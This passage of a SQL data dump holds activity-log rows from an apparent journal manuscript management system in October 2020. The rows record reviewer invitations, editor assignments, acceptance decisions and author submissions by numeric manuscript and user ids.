Editor',6347,'Publisher',85),(51869,'2020-10-09 14:07:38','Publisher has been Assigned Editor',6346,'Publisher',85),(51870,'2020-10-09 14:08:11','Publisher has Invited Reviewer',6349,'Publisher',85),(51871,'2020-10-09 14:08:12','Publisher has Invited Reviewer',6349,'Publisher',85),(51872,'2020-10-09 14:08:12','Publisher has Invited Reviewer',6349,'Publisher',85),(51873,'2020-10-09 14:08:13','Publisher has Invited Reviewer',6349,'Publisher',85),(51874,'2020-10-09 14:09:05','Publisher has Invited Reviewer',6347,'Publisher',85),(51875,'2020-10-09 14:09:06','Publisher has Invited Reviewer',6347,'Publisher',85),(51876,'2020-10-09 14:09:07','Publisher has Invited Reviewer',6347,'Publisher',85),(51877,'2020-10-09 14:09:08','Publisher has Invited Reviewer',6347,'Publisher',85),(51878,'2020-10-09 14:09:09','Publisher has Invited Reviewer',6347,'Publisher',85),(51879,'2020-10-09 14:09:10','Publisher has Invited Reviewer',6347,'Publisher',85),(51880,'2020-10-09 14:09:11','Publisher has Invited Reviewer',6347,'Publisher',85),(51881,'2020-10-09 14:10:14','Publisher has Invited Reviewer',6346,'Publisher',85),(51882,'2020-10-09 14:10:14','Publisher has Invited Reviewer',6346,'Publisher',85),(51883,'2020-10-09 14:10:16','Publisher has Invited Reviewer',6346,'Publisher',85),(51884,'2020-10-09 14:10:17','Publisher has Invited Reviewer',6346,'Publisher',85),(51885,'2020-10-09 14:10:18','Publisher has Invited Reviewer',6346,'Publisher',85),(51886,'2020-10-09 14:10:18','Publisher has Invited Reviewer',6346,'Publisher',85),(51887,'2020-10-09 14:10:19','Publisher has Invited Reviewer',6346,'Publisher',85),(51888,'2020-10-09 14:10:20','Publisher has Invited Reviewer',6346,'Publisher',85),(51889,'2020-10-09 14:10:21','Publisher has Invited Reviewer',6346,'Publisher',85),(51890,'2020-10-09 14:10:22','Publisher has Invited Reviewer',6346,'Publisher',85),(51891,'2020-10-09 14:40:03','Reviewer has submitted comments',6242,'Reviewer',644),(51892,'2020-10-09 14:40:09','Reviewer has submitted comments',6242,'Reviewer',644),(51893,'2020-10-09 14:40:14','Reviewer has submitted comments',6242,'Reviewer',644),(51894,'2020-10-09 14:40:18','Reviewer has submitted comments',6242,'Reviewer',644),(51900,'2020-10-09 21:01:58','Author sent Email',6318,'Author',7515),(51901,'2020-10-09 21:07:50','Manuscript has been Revised',6282,'Author',5004),(51903,'2020-10-09 21:43:31','Reviewer has submitted comments',6349,'Reviewer',13884),(51904,'2020-10-10 03:20:15','Publisher has been Assigned Editor',6350,'Publisher',75),(51927,'2020-10-10 06:52:14','Reviewer has submitted comments',5366,'Reviewer',13225),(51928,'2020-10-10 07:12:05','Publisher has Invited Reviewer',6232,'Publisher',75),(51929,'2020-10-10 07:12:09','Publisher has Invited Reviewer',6232,'Publisher',75),(51930,'2020-10-10 07:12:13','Publisher has Invited Reviewer',6232,'Publisher',75),(51931,'2020-10-10 07:12:18','Publisher has Invited Reviewer',6232,'Publisher',75),(51932,'2020-10-10 07:12:22','Publisher has Invited Reviewer',6232,'Publisher',75),(51933,'2020-10-10 07:12:27','Publisher has Invited Reviewer',6232,'Publisher',75),(51938,'2020-10-10 08:37:47','Reviewer has submitted comments',5232,'Reviewer',13225),(51939,'2020-10-10 08:41:53','Reviewer has submitted comments',5197,'Reviewer',13225),(51940,'2020-10-10 08:44:26','Reviewer has submitted comments',6232,'Reviewer',13225),(51942,'2020-10-10 10:02:59','Publisher has Invited Reviewer',6328,'Publisher',673),(51943,'2020-10-10 10:02:59','Publisher has Invited Reviewer',6328,'Publisher',673),(51944,'2020-10-10 10:03:43','Publisher has Invited Reviewer',6328,'Publisher',673),(51945,'2020-10-10 10:03:43','Publisher has Invited Reviewer',6328,'Publisher',673),(51946,'2020-10-10 10:03:44','Publisher has Invited Reviewer',6328,'Publisher',673),(51947,'2020-10-10 10:04:54','Publisher has Invited Reviewer',6328,'Publisher',673),(51948,'2020-10-10 10:30:28','Publisher : Notified Editor',6282,'Publisher',85),(51950,'2020-10-10 13:12:21','Publisher has Invited Reviewer',6348,'Publisher',85),(51951,'2020-10-10 13:12:22','Publisher has Invited Reviewer',6348,'Publisher',85),(51952,'2020-10-10 13:12:23','Publisher has Invited Reviewer',6348,'Publisher',85),(51953,'2020-10-10 13:12:23','Publisher has Invited Reviewer',6348,'Publisher',85),(51954,'2020-10-10 13:12:24','Publisher has Invited Reviewer',6348,'Publisher',85),(51955,'2020-10-10 13:12:25','Publisher has Invited Reviewer',6348,'Publisher',85),(51956,'2020-10-10 13:25:33','Publisher has Invited Reviewer',6347,'Publisher',85),(51957,'2020-10-10 13:25:35','Publisher has Invited Reviewer',6347,'Publisher',85),(51958,'2020-10-10 13:25:36','Publisher has Invited Reviewer',6347,'Publisher',85),(51959,'2020-10-10 13:25:37','Publisher has Invited Reviewer',6347,'Publisher',85),(51963,'2020-10-10 18:56:11','Author sent Email',6318,'Author',7515),(51971,'2020-10-11 03:57:03','Manuscript Submitted by Author using Submission form',6368,'Author',7618),(51977,'2020-10-12 00:04:33','Reviewer has updated comments',6328,'Reviewer',11354),(51978,'2020-10-12 00:58:13','Manuscript Submitted by Author',6375,'Author',7618),(51999,'2020-10-12 10:53:33','Reviewer has submitted comments',5712,'Reviewer',11589),(52002,'2020-10-12 10:56:31','Reviewer has submitted comments',5989,'Reviewer',11589),(52013,'2020-10-12 10:59:36','Reviewer has submitted comments',5126,'Reviewer',11589),(52017,'2020-10-12 11:03:08','Reviewer has submitted comments',5187,'Reviewer',11589),(52048,'2020-10-12 13:28:07','Editor has been Editor Decision Accepted article',6282,'Editor',204),(52049,'2020-10-12 13:28:45','Publisher: Accept Notification has been sent to Author',6282,'Publisher',85),(52060,'2020-10-12 13:38:26','Publisher has Invited Reviewer',6165,'Publisher',376),(52061,'2020-10-12 13:38:30','Publisher has Invited Reviewer',6165,'Publisher',376),(52062,'2020-10-12 13:38:35','Publisher has Invited Reviewer',6165,'Publisher',376),(52063,'2020-10-12 13:38:39','Publisher has Invited Reviewer',6165,'Publisher',376),(52065,'2020-10-12 15:09:32','Author sent Email',6170,'Author',7407),(52069,'2020-10-13 02:42:23','Publisher : Notified Editor',5126,'Publisher',75),(52070,'2020-10-13 02:42:37','Publisher : Notified Editor',5187,'Publisher',75),(52071,'2020-10-13 02:43:11','Publisher : Notified Editor',5197,'Publisher',75),(52072,'2020-10-13 02:43:30','Publisher : Notified Editor',5232,'Publisher',75),(52073,'2020-10-13 02:43:47','Publisher : Notified Editor',5366,'Publisher',75),(52074,'2020-10-13 02:44:23','Publisher : Notified Editor',5712,'Publisher',75),(52075,'2020-10-13 02:44:44','Publisher : Notified Editor',5989,'Publisher',75),(52118,'2020-10-13 05:41:34','Publisher has been Assigned Editor',6351,'Publisher',248),(52125,'2020-10-13 06:50:17','Editor has Accepted to review Manuscript',5156,'Editor',1452),(52126,'2020-10-13 06:50:30','Editor has been Editor Decision Accepted article',5156,'Editor',1452),(52127,'2020-10-13 06:51:14','Publisher has been Accepted Articles  article',5156,'Publisher',376),(52128,'2020-10-13 07:11:58','Editor has been Editor Decision Accepted article',5989,'Editor',160),(52129,'2020-10-13 07:12:08','Editor has Accepted to review Manuscript',6232,'Editor',160),(52130,'2020-10-13 07:12:26','Editor has Accepted to review Manuscript',6318,'Editor',160),(52131,'2020-10-13 07:12:32','Editor has Accepted to review Manuscript',6350,'Editor',160),(52132,'2020-10-13 07:13:31','Publisher: Accept Notification has been sent to Author',5989,'Publisher',75),(52137,'2020-10-13 07:56:48','Editor has been Editor Decision Accepted article',5712,'Editor',160),(52139,'2020-10-13 08:39:57','Editor has been Editor Decision Accepted article',5959,'Editor',1067),(52140,'2020-10-13 08:40:39','Editor has been Editor Decision Accepted article',5948,'Editor',1067),(52141,'2020-10-13 08:41:21','Editor has been Editor Decision Accepted article',6235,'Editor',1067),(52151,'2020-10-13 10:43:54','Publisher has Invited Reviewer',6328,'Publisher',673),(52156,'2020-10-13 11:56:14','Publisher has Invited Reviewer',6348,'Publisher',85),(52157,'2020-10-13 11:57:48','Publisher : Notified Editor',6349,'Publisher',85),(52158,'2020-10-13 11:58:49','Editor has Accepted to review Manuscript',6349,'Editor',1408),(52159,'2020-10-13 11:59:26','Editor has been Editor Decision Accepted article',6349,'Editor',1408),(52160,'2020-10-13 12:04:29','Manuscript Submitted by Author using Submission form',6390,'Author',7644),(52161,'2020-10-13 12:12:09','Publisher: Accept Notification has been sent to Author',5712,'Publisher',75),(52164,'2020-10-13 12:54:24','Publisher has Invited Reviewer',6328,'Publisher',673),(52165,'2020-10-13 12:54:24','Publisher has Invited Reviewer',6328,'Publisher',673),(52166,'2020-10-13 12:54:41','Publisher has Invited Reviewer',6328,'Publisher',673),(52167,'2020-10-13 12:54:41','Publisher has Invited Reviewer',6328,'Publisher',673),(52168,'2020-10-13 12:54:42','Publisher has Invited Reviewer',6328,'Publisher',673),(52169,'2020-10-13 12:54:43','Publisher has Invited Reviewer',6328,'Publisher',673),(52170,'2020-10-13 12:55:23','Publisher has Invited Reviewer',6274,'Publisher',673),(52171,'2020-10-13 12:55:24','Publisher has Invited Reviewer',6274,'Publisher',673),(52172,'2020-10-13 12:55:24','Publisher has Invited Reviewer',6274,'Publisher',673),(52173,'2020-10-13 12:56:00','Publisher has Invited Reviewer',6274,'Publisher',673),(52174,'2020-10-13 12:56:01','Publisher has Invited Reviewer',6274,'Publisher',673),(52176,'2020-10-13 14:08:37','Publisher has Invited Reviewer',6348,'Publisher',85),(52177,'2020-10-13 14:08:38','Publisher has Invited Reviewer',6348,'Publisher',85),(52178,'2020-10-13 14:08:39','Publisher has Invited Reviewer',6348,'Publisher',85),(52179,'2020-10-13 14:08:39','Publisher has Invited Reviewer',6348,'Publisher',85),(52180,'2020-10-13 14:08:40','Publisher has Invited Reviewer',6348,'Publisher',85),(52181,'2020-10-13 14:09:23','Publisher has Invited Reviewer',6346,'Publisher',85),(52182,'2020-10-13 14:09:25','Publisher has Invited Reviewer',6346,'Publisher',85),(52183,'2020-10-13 14:15:40','Publisher has Invited Reviewer',6347,'Publisher',85),(52184,'2020-10-13 14:15:41','Publisher has Invited Reviewer',6347,'Publisher',85),(52185,'2020-10-13 14:15:42','Publisher has Invited Reviewer',6347,'Publisher',85),(52186,'2020-10-13 14:15:43','Publisher has Invited Reviewer',6347,'Publisher',85),(52187,'2020-10-13 14:15:44','Publisher has Invited Reviewer',6347,'Publisher',85),(52188,'2020-10-13 14:15:45','Publisher has Invited Reviewer',6347,'Publisher',85),(52189,'2020-10-13 14:15:45','Publisher has Invited Reviewer',6347,'Publisher',85),(52190,'2020-10-13 14:15:46','Publisher has Invited Reviewer',6347,'Publisher',85),(52206,'2020-10-14 05:53:35','Publisher has been Rejected Articles  article',5907,'Publisher',319),(52208,'2020-10-14 05:57:19','Publisher : Notified Author',6160,'Publisher',319),(52209,'2020-10-14 05:58:27','Publisher : Notified Author',6204,'Publisher',319),(52230,'2020-10-14 11:35:23','Publisher has Invited Reviewer',6237,'Publisher',84),(52231,'2020-10-14 11:35:28','Publisher has Invited Reviewer',6237,'Publisher',84),(52232,'2020-10-14 11:35:32','Publisher has Invited Reviewer',6237,'Publisher',84),(52233,'2020-10-14 11:35:37','Publisher has Invited Reviewer',6237,'Publisher',84),(52234,'2020-10-14 11:35:41','Publisher has Invited Reviewer',6237,'Publisher',84),(52235,'2020-10-14 11:35:45','Publisher has Invited Reviewer',6237,'Publisher',84),(52236,'2020-10-14 11:35:50','Publisher has Invited Reviewer',6237,'Publisher',84),(52237,'2020-10-14 11:35:54','Publisher has Invited Reviewer',6237,'Publisher',84),(52238,'2020-10-14 11:35:59','Publisher has Invited Reviewer',6237,'Publisher',84),(52239,'2020-10-14 11:36:03','Publisher has Invited Reviewer',6237,'Publisher',84),(52263,'2020-10-14 12:39:14','Publisher has Invited Reviewer',6346,'Publisher',85),(52264,'2020-10-14 12:39:15','Publisher has Invited Reviewer',6346,'Publisher',85),(52265,'2020-10-14 12:39:16','Publisher has Invited Reviewer',6346,'Publisher',85),(52266,'2020-10-14 12:41:38','Publisher has Invited Reviewer',6348,'Publisher',85),(52267,'2020-10-14 12:41:40','Publisher has Invited Reviewer',6348,'Publisher',85),(52268,'2020-10-14 12:41:41','Publisher has Invited Reviewer',6348,'Publisher',85),(52269,'2020-10-14 12:43:32','Publisher has Invited Reviewer',6347,'Publisher',85),(52270,'2020-10-14 12:43:44','Publisher has Invited Reviewer',6347,'Publisher',85),(52271,'2020-10-14 12:46:47','Publisher has Invited Reviewer',6348,'Publisher',85),(52272,'2020-10-14 12:47:59','Publisher has Invited Reviewer',6346,'Publisher',85),(52273,'2020-10-14 12:49:05','Publisher has Invited Reviewer',6346,'Publisher',85),(52274,'2020-10-14 12:50:16','Publisher has Invited Reviewer',6346,'Publisher',85),(52275,'2020-10-14 12:50:17','Publisher has Invited Reviewer',6346,'Publisher',85),(52276,'2020-10-14 12:50:18','Publisher has Invited Reviewer',6346,'Publisher',85),(52277,'2020-10-14 12:50:20','Publisher has Invited Reviewer',6346,'Publisher',85),(52278,'2020-10-14 12:51:06','Publisher : Notified Editor',6234,'Publisher',85),(52283,'2020-10-14 14:50:05','Author sent Email',6026,'Author',7257),(52286,'2020-10-15 03:04:42','Publisher has been Assigned Editor',6390,'Publisher',673),(52287,'2020-10-15 04:19:02','Manuscript Submitted by Author using Submission form',6401,'Author',7656),(52327,'2020-10-15 07:51:35','Editor has been Editor Decision Accepted article',5126,'Editor',160),(52328,'2020-10-15 07:51:50','Editor has been Editor Decision Accepted article',5187,'Editor',160),(52329,'2020-10-15 07:52:02','Editor has been Editor Decision Accepted article',5366,'Editor',160),(52330,'2020-10-15 07:52:32','Editor has Accepted to review Manuscript',6046,'Editor',161),(52331,'2020-10-15 07:52:38','Editor has Accepted to review Manuscript',6096,'Editor',161),(52332,'2020-10-15 07:52:45','Editor has Accepted to review Manuscript',6242,'Editor',161),(52333,'2020-10-15 07:52:49','Editor has Accepted to review Manuscript',6264,'Editor',161),(52334,'2020-10-15 07:53:02','Editor has Accepted to review Manuscript',6316,'Editor',161),(52335,'2020-10-15 07:53:19','Editor has been Editor Decision Accepted article',5197,'Editor',161),(52336,'2020-10-15 07:53:45','Editor has Accepted to review Manuscript',6065,'Editor',162),(52337,'2020-10-15 07:53:50','Editor has Accepted to review Manuscript',6181,'Editor',162),(52338,'2020-10-15 07:53:54','Editor has Accepted to review Manuscript',6253,'Editor',162),(52339,'2020-10-15 07:53:58','Editor has Accepted to review Manuscript',6279,'Editor',162),(52340,'2020-10-15 07:54:08','Editor has been Editor Decision Accepted article',5232,'Editor',162),(52352,'2020-10-15 08:58:24','Editor has Accepted to review Manuscript',6346,'Editor',1393),(52353,'2020-10-15 08:58:37','Editor has Declined to review Manuscript',6153,'Editor',1393),(52388,'2020-10-15 09:46:44','Publisher has been Assigned Editor',6368,'Publisher',75),(52389,'2020-10-15 09:47:02','Publisher has been Assigned Editor',6375,'Publisher',75),(52390,'2020-10-15 09:50:46','Publisher: Accept Notification has been sent to Author',5126,'Publisher',75),(52391,'2020-10-15 09:51:38','Publisher: Accept Notification has been sent to Author',5187,'Publisher',75),(52392,'2020-10-15 09:52:28','Publisher: Accept Notification has been sent to Author',5232,'Publisher',75),(52394,'2020-10-15 09:53:18','Publisher: Accept Notification has been sent to Author',5197,'Publisher',75),(52395,'2020-10-15 11:54:55','Publisher has Invited Reviewer',6390,'Publisher',673),(52396,'2020-10-15 11:54:56','Publisher has Invited Reviewer',6390,'Publisher',673),(52397,'2020-10-15 11:55:15','Publisher has Invited Reviewer',6390,'Publisher',673),(52413,'2020-10-15 13:09:53','Publisher has Invited Reviewer',6227,'Publisher',376),(52414,'2020-10-15 13:09:57','Publisher has Invited Reviewer',6227,'Publisher',376),(52415,'2020-10-15 13:10:01','Publisher has Invited Reviewer',6227,'Publisher',376),(52416,'2020-10-15 13:10:05','Publisher has Invited Reviewer',6227,'Publisher',376),(52417,'2020-10-15 13:10:53','Publisher has Invited Reviewer',6229,'Publisher',376),(52418,'2020-10-15 13:10:58','Publisher has Invited Reviewer',6229,'Publisher',376),(52419,'2020-10-15 13:11:02','Publisher has Invited Reviewer',6229,'Publisher',376),(52420,'2020-10-15 13:11:07','Publisher has Invited Reviewer',6229,'Publisher',376),(52421,'2020-10-15 13:11:52','Publisher has Invited Reviewer',6165,'Publisher',376),(52422,'2020-10-15 13:11:57','Publisher has Invited Reviewer',6165,'Publisher',376),(52423,'2020-10-15 13:12:02','Publisher has Invited Reviewer',6165,'Publisher',376),(52424,'2020-10-15 13:12:06','Publisher has Invited Reviewer',6165,'Publisher',376),(52425,'2020-10-15 13:12:10','Publisher has Invited Reviewer',6165,'Publisher',376),(52426,'2020-10-15 13:13:16','Publisher has Invited Reviewer',6043,'Publisher',376),(52427,'2020-10-15 13:13:20','Publisher has Invited Reviewer',6043,'Publisher',376),(52428,'2020-10-15 13:14:20','Publisher has Invited Reviewer',6085,'Publisher',376),(52429,'2020-10-15 13:14:24','Publisher has Invited Reviewer',6085,'Publisher',376),(52430,'2020-10-15 13:14:28','Publisher has Invited Reviewer',6085,'Publisher',376),(52431,'2020-10-15 13:14:33','Publisher has Invited Reviewer',6085,'Publisher',376),(52432,'2020-10-15 13:15:32','Publisher has Invited Reviewer',6139,'Publisher',376),(52433,'2020-10-15 13:15:36','Publisher has Invited Reviewer',6139,'Publisher',376),(52434,'2020-10-15 13:15:41','Publisher has Invited Reviewer',6139,'Publisher',376),(52435,'2020-10-15 13:15:45','Publisher has Invited Reviewer',6139,'Publisher',376),(52436,'2020-10-15 13:15:49','Publisher has Invited Reviewer',6139,'Publisher',376),(52439,'2020-10-15 17:15:07','Manuscript Submitted by Author using Submission form',6408,'Author',7667),(52440,'2020-10-15 17:32:41','Author sent Email',5126,'Author',6306),(52505,'2020-10-16 10:55:08','Reviewer has submitted comments',6328,'Reviewer',14805),(52506,'2020-10-16 10:57:41','Reviewer has submitted comments',6274,'Reviewer',14805),(52507,'2020-10-16 11:02:25','Reviewer has submitted comments',6390,'Reviewer',14805),(52572,'2020-10-17 05:52:17','Reviewer has submitted comments',6349,'Reviewer',13886),(52573,'2020-10-17 06:23:33','Editor has Accepted to review Manuscript',5921,'Editor',1235),(52574,'2020-10-17 06:23:48','Editor has been Editor Decision Accepted article',5921,'Editor',1235),(52577,'2020-10-17 06:47:46','Publisher : Notified Editor',6273,'Publisher',673),(52578,'2020-10-17 06:48:06','Publisher : Notified Editor',6274,'Publisher',673),(52579,'2020-10-17 06:49:44','Editor has been Editor Decision Accepted article',6274,'Editor',1456),(52580,'2020-10-17 06:49:58','Editor has Accepted to review Manuscript',6273,'Editor',1456),(52581,'2020-10-17 06:50:22','Editor has been Editor Decision Accepted article',6273,'Editor',1456),(52602,'2020-10-17 07:24:27','Publisher: Accept Notification has been sent to Author',5187,'Publisher',75),(52610,'2020-10-17 09:42:49','Publisher has been Assigned Editor',6408,'Publisher',85),(52612,'2020-10-17 12:56:54','Publisher has Invited Reviewer',6408,'Publisher',85),(52613,'2020-10-17 12:56:55','Publisher has Invited Reviewer',6408,'Publisher',85),(52614,'2020-10-17 12:56:56','Publisher has Invited Reviewer',6408,'Publisher',85),(52615,'2020-10-17 12:56:57','Publisher has Invited Reviewer',6408,'Publisher',85),(52616,'2020-10-17 12:56:58','Publisher has Invited Reviewer',6408,'Publisher',85),(52617,'2020-10-17 12:56:59','Publisher has Invited Reviewer',6408,'Publisher',85),(52618,'2020-10-17 12:57:00','Publisher has Invited Reviewer',6408,'Publisher',85),(52619,'2020-10-17 12:57:01','Publisher has Invited Reviewer',6408,'Publisher',85),(52620,'2020-10-17 12:57:02','Publisher has Invited Reviewer',6408,'Publisher',85),(52621,'2020-10-17 12:57:03','Publisher has Invited Reviewer',6408,'Publisher',85),(52622,'2020-10-17 12:57:04','Publisher has Invited Reviewer',6408,'Publisher',85),(52623,'2020-10-17 12:57:05','Publisher has Invited Reviewer',6408,'Publisher',85),(52624,'2020-10-17 12:57:06','Publisher has Invited Reviewer',6408,'Publisher',85),(52630,'2020-10-18 05:19:40','Reviewer has submitted comments',6328,'Reviewer',11355),(52631,'2020-10-18 05:19:41','Reviewer has submitted comments',6328,'Reviewer',11355),(52633,'2020-10-18 10:36:52','Manuscript Submitted by Author using Submission form',6419,'Author',7679),(52662,'2020-10-18 14:15:32','Manuscript Submitted by Author using Submission form',6420,'Author',7680),(52667,'2020-10-19 03:29:38','Editor has Accepted to review Manuscript',6379,'Editor',194),(52670,'2020-10-19 03:30:01','Editor has been Editor Decision Accepted article',6379,'Editor',194),(52671,'2020-10-19 03:37:36','Publisher has Unassign Editor',6153,'Publisher',85),(52672,'2020-10-19 03:38:21','Publisher has Invited Reviewer',6153,'Publisher',85),(52673,'2020-10-19 03:38:23','Publisher has Invited Reviewer',6153,'Publisher',85),(52674,'2020-10-19 03:38:24','Publisher has Invited Reviewer',6153,'Publisher',85),(52675,'2020-10-19 03:38:25','Publisher has Invited Reviewer',6153,'Publisher',85),(52676,'2020-10-19 03:38:26','Publisher has Invited Reviewer',6153,'Publisher',85),(52677,'2020-10-19 03:40:21','Editor has Accepted to review Manuscript',6234,'Editor',1439),(52678,'2020-10-19 03:40:39','Editor has been Editor Decision Accepted article',6234,'Editor',1439),(52679,'2020-10-19 03:42:29','Publisher: Accept Notification has been sent to Author',6349,'Publisher',85),(52700,'2020-10-19 08:11:55','Manuscript Submitted by Author using Submission form',6424,'Author',7685),(52702,'2020-10-19 11:06:12','Reviewer has submitted comments',6348,'Reviewer',13886),(52723,'2020-10-19 12:53:50','Publisher has been Assigned Editor',6419,'Publisher',972),(52724,'2020-10-19 12:54:13','Publisher has Invited Reviewer',6419,'Publisher',972),(52725,'2020-10-19 12:54:14','Publisher has Invited Reviewer',6419,'Publisher',972),(52726,'2020-10-19 12:54:14','Publisher has Invited Reviewer',6419,'Publisher',972),(52727,'2020-10-19 12:54:24','Publisher has Invited Reviewer',6419,'Publisher',972),(52728,'2020-10-19 12:54:31','Publisher has Invited Reviewer',6419,'Publisher',972),(52729,'2020-10-19 12:54:40','Publisher has Invited Reviewer',6419,'Publisher',972),(52730,'2020-10-19 13:46:51','Publisher has Invited Reviewer',6390,'Publisher',673),(52731,'2020-10-19 13:46:52','Publisher has Invited Reviewer',6390,'Publisher',673),(52732,'2020-10-19 13:46:53','Publisher has Invited Reviewer',6390,'Publisher',673),(52733,'2020-10-19 13:48:25','Publisher has Invited Reviewer',6390,'Publisher',673),(52734,'2020-10-19 13:48:26','Publisher has Invited Reviewer',6390,'Publisher',673),(52735,'2020-10-19 13:48:26','Publisher has Invited Reviewer',6390,'Publisher',673),(52736,'2020-10-19 13:48:27','Publisher has Invited Reviewer',6390,'Publisher',673),(52737,'2020-10-19 13:48:27','Publisher has Invited Reviewer',6390,'Publisher',673),(52738,'2020-10-19 13:48:27','Publisher has Invited Reviewer',6390,'Publisher',673),(52740,'2020-10-19 14:15:06','Publisher : Notified Editor',4194,'Publisher',85),(52741,'2020-10-19 14:19:44','Editor has been Editor Decision Accepted article',4194,'Editor',204),(52742,'2020-10-19 14:20:22','Publisher: Accept Notification has been sent to Author',4194,'Publisher',85),(52743,'2020-10-19 14:20:41','Publisher has been Accepted Articles  article',4194,'Publisher',85),(52744,'2020-10-19 14:20:55','Publisher has been Accepted Articles  article',6067,'Publisher',85),(52745,'2020-10-19 14:21:32','Publisher: Accept Notification has been sent to Author',6234,'Publisher',85),(52746,'2020-10-19 14:22:14','Publisher has been Accepted Articles  article',6234,'Publisher',85),(52753,'2020-10-19 16:13:03','Manuscript Submitted by Author using Submission form',6428,'Author',7689),(52754,'2020-10-19 16:21:45','Manuscript Submitted by Author using Submission form',6429,'Author',7691),(52807,'2020-10-20 05:51:33','Publisher has been Accepted Articles  article',5959,'Publisher',319),(52831,'2020-10-20 06:53:53','Editor has Accepted to review Manuscript',6189,'Editor',1235),(52832,'2020-10-20 06:54:13','Editor has been Editor Decision Accepted article',6189,'Editor',1235),(52838,'2020-10-20 09:23:08','Publisher : Notified Editor',6348,'Publisher',85),(52839,'2020-10-20 09:25:34','Editor has Accepted to review Manuscript',6348,'Editor',1394),(52840,'2020-10-20 09:25:48','Editor has been Revise (Notify Author) article',6348,'Editor',1394),(52841,'2020-10-20 09:27:39','Publisher : Notified Author',6348,'Publisher',85),(52842,'2020-10-20 09:29:57','Publisher has Invited Reviewer',6217,'Publisher',85),(52843,'2020-10-20 09:29:58','Publisher has Invited Reviewer',6217,'Publisher',85),(52844,'2020-10-20 09:29:59','Publisher has Invited Reviewer',6217,'Publisher',85),(52845,'2020-10-20 09:30:00','Publisher has Invited Reviewer',6217,'Publisher',85),(52846,'2020-10-20 09:31:09','Editor has Accepted to review Manuscript',6261,'Editor',1235),(52878,'2020-10-20 10:57:21','Publisher has been Withdrawn  article',6143,'Publisher',48),(52879,'2020-10-20 10:59:12','Publisher has been Withdrawn  article',4778,'Publisher',48),(52880,'2020-10-20 11:00:09','Publisher has Invited Reviewer',6217,'Publisher',85),(52894,'2020-10-20 12:14:20','Reviewer has submitted comments',6217,'Reviewer',14994),(53018,'2020-10-21 10:12:52','Manuscript Submitted by Author using Submission form',6443,'Author',7710),(53022,'2020-10-21 11:03:52','Publisher : Notified Editor',6217,'Publisher',85),(53023,'2020-10-21 11:04:58','Editor has Accepted to review Manuscript',6217,'Editor',1394),(53024,'2020-10-21 11:05:08','Editor has been Editor Decision Accepted article',6217,'Editor',1394),(53051,'2020-10-21 14:24:31','Publisher has Invited Reviewer',6347,'Publisher',85),(53052,'2020-10-21 14:24:32','Publisher has Invited Reviewer',6347,'Publisher',85),(53053,'2020-10-21 14:24:33','Publisher has Invited Reviewer',6347,'Publisher',85),(53054,'2020-10-21 14:24:34','Publisher has Invited Reviewer',6347,'Publisher',85),(53055,'2020-10-21 14:24:35','Publisher has Invited Reviewer',6347,'Publisher',85),(53056,'2020-10-21 14:24:36','Publisher has Invited Reviewer',6347,'Publisher',85),(53057,'2020-10-21 14:25:13','Publisher has Invited Reviewer',6347,'Publisher',85),(53058,'2020-10-21 14:27:40','Publisher has Invited Reviewer',6346,'Publisher',85),(53059,'2020-10-21 14:27:41','Publisher has Invited Reviewer',6346,'Publisher',85),(53060,'2020-10-21 14:28:23','Publisher has Invited Reviewer',6346,'Publisher',85),(53061,'2020-10-21 14:28:24','Publisher has Invited Reviewer',6346,'Publisher',85),(53062,'2020-10-21 14:28:25','Publisher has Invited Reviewer',6346,'Publisher',85),(53063,'2020-10-21 14:28:26','Publisher has Invited Reviewer',6346,'Publisher',85),(53064,'2020-10-21 14:28:27','Publisher has Invited Reviewer',6346,'Publisher',85),(53065,'2020-10-21 14:28:29','Publisher has Invited Reviewer',6346,'Publisher',85),(53066,'2020-10-21 14:28:30','Publisher has Invited Reviewer',6346,'Publisher',85),(53067,'2020-10-21 14:28:31','Publisher has Invited Reviewer',6346,'Publisher',85),(53068,'2020-10-21 14:28:32','Publisher has Invited Reviewer',6346,'Publisher',85),(53076,'2020-10-21 14:31:54','Publisher has Invited Reviewer',6227,'Publisher',376),(53077,'2020-10-21 14:31:58','Publisher has Invited Reviewer',6227,'Publisher',376),(53078,'2020-10-21 14:32:25','Publisher has Invited Reviewer',6165,'Publisher',376),(53079,'2020-10-21 14:32:30','Publisher has Invited Reviewer',6165,'Publisher',376),(53080,'2020-10-21 14:32:34','Publisher has Invited Reviewer',6165,'Publisher',376),(53081,'2020-10-21 14:33:28','Publisher has Invited Reviewer',6043,'Publisher',376),(53082,'2020-10-21 14:33:33','Publisher has Invited Reviewer',6043,'Publisher',376),(53083,'2020-10-21 14:33:37','Publisher has Invited Reviewer',6043,'Publisher',376),(53084,'2020-10-21 14:33:41','Publisher has Invited Reviewer',6043,'Publisher',376),(53085,'2020-10-21 14:33:45','Publisher has Invited Reviewer',6043,'Publisher',376),(53087,'2020-10-21 18:17:24','Author sent Email',6239,'Author',7487),(53088,'2020-10-21 18:28:28','Manuscript Submitted by Author using Submission form',6445,'Author',7712),(53089,'2020-10-22 00:15:49','Editor has Accepted to review Manuscript',6375,'Editor',160),(53090,'2020-10-22 00:17:44','Editor has Invited Reviewer',6318,'Editor',160),(53091,'2020-10-22 00:17:48','Editor has Invited Reviewer',6318,'Editor',160),(53092,'2020-10-22 00:17:53','Editor has Invited Reviewer',6318,'Editor',160),(53093,'2020-10-22 00:17:57','Editor has Invited Reviewer',6318,'Editor',160),(53094,'2020-10-22 00:22:02','Editor has Invited Reviewer',6350,'Editor',160),(53095,'2020-10-22 00:22:06','Editor has Invited Reviewer',6350,'Editor',160),(53096,'2020-10-22 00:22:10','Editor has Invited Reviewer',6350,'Editor',160),(53097,'2020-10-22 00:22:15','Editor has Invited Reviewer',6350,'Editor',160),(53098,'2020-10-22 00:22:19','Editor has Invited Reviewer',6350,'Editor',160),(53099,'2020-10-22 00:23:35','Editor has Invited Reviewer',6375,'Editor',160),(53100,'2020-10-22 00:23:39','Editor has Invited Reviewer',6375,'Editor',160),(53101,'2020-10-22 00:23:44','Editor has Invited Reviewer',6375,'Editor',160),(53102,'2020-10-22 00:23:48','Editor has Invited Reviewer',6375,'Editor',160),(53103,'2020-10-22 00:23:52','Editor has Invited Reviewer',6375,'Editor',160),(53104,'2020-10-22 00:25:11','Editor has been Editor Decision Accepted article',6232,'Editor',160),(53105,'2020-10-22 02:38:54','Publisher has been Assigned Editor',6428,'Publisher',75),(53142,'2020-10-22 06:52:32','Publisher has been Assigned Editor',6389,'Publisher',274),(53143,'2020-10-22 06:53:52','Publisher has been Accepted Articles  article',5921,'Publisher',274),(53144,'2020-10-22 06:54:00','Publisher has been Accepted Articles  article',6189,'Publisher',274),(53165,'2020-10-22 10:53:47','Manuscript Submitted by Author using 